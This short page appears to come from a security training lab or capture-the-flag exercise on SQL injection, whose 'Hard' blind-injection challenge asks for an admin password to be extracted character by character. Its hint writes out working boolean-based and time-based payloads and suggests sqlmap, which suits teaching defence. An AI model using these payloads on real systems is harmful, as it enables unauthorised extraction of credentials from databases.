💉 02 — SQL Injection

Easy Medium Hard
Easy Medium Hard
0/3 solved

🕵️ Hard — Blind SQL Injection

Look up user IDs. No data is returned directly — only "exists" or "not found". Extract the admin password character by character.

Use boolean-based blind: 1 AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'. Or time-based: 1 AND (SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN SLEEP(2) ELSE 0 END FROM users WHERE username='admin'). Use sqlmap or write a script to automate.